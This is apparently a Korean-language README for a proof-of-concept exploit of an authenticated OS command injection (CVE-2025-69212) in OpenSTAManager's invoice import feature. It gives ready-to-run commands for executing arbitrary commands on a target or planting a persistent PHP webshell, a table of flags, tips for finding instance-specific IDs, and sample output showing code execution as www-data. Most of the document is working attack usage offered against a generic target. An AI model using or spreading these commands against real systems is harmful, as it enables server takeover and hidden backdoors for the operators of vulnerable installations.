
CVE-2025-69212 - OpenSTAManager OS 명령 주입 PoC
의존성 설치:
pip install -r requirements.txt
단일 명령 실행 및 출력 확인:
python3 cve-2025-69212_poc.py -u http://target.com -U admin -P 'password' -c 'id'
대신 영구적인 PHP 웹쉘 배포:
python3 cve-2025-69212_poc.py -u http://target.com -U admin -P 'password' --shell
| 플래그 | 설명 |
|---|---|
-u, --url | 대상 인스턴스의 기본 URL |
-U, --username | 인증을 위한 사용자 이름 |
-P, --password | 인증을 위한 비밀번호 |
-c, --command | 실행할 명령어, 출력은 pwn_out.txt에 저장됨 |
--shell | 단일 명령 대신 PHP 웹쉘을 files/shell.php에 배포 |
--id-module | 인보이스 가져오기 기능의 모듈 ID (기본값: 14) |
--id-plugin | 인보이스 가져오기 기능의 플러그인 ID (기본값: 48) |
id_module과 id_plugin은 인스턴스별로 다릅니다. 기본값이 작동하지 않으면 대상의 웹 UI에 로그인하여 전자 인보이스 가져오기 기능으로 이동한 후 브라우저의 네트워크 탭에서 요청 매개변수를 확인하십시오.
$ python3 cve-2025-69212_poc.py -u http://target.com -U admin -P 'password' -c 'id'
[*] Logging in as admin ...
[+] Authenticated.
[*] Building payload to run: id
[*] Uploading exploit ZIP to id_module=14 id_plugin=48 ...
[*] Server responded: HTTP 500 (500 after command execution is expected)
[*] Fetching command output from http://target.com/files/pwn_out.txt ...
[+] Command output:
--------------------------------------------------
uid=33(www-data) gid=33(www-data) groups=33(www-data)
--------------------------------------------------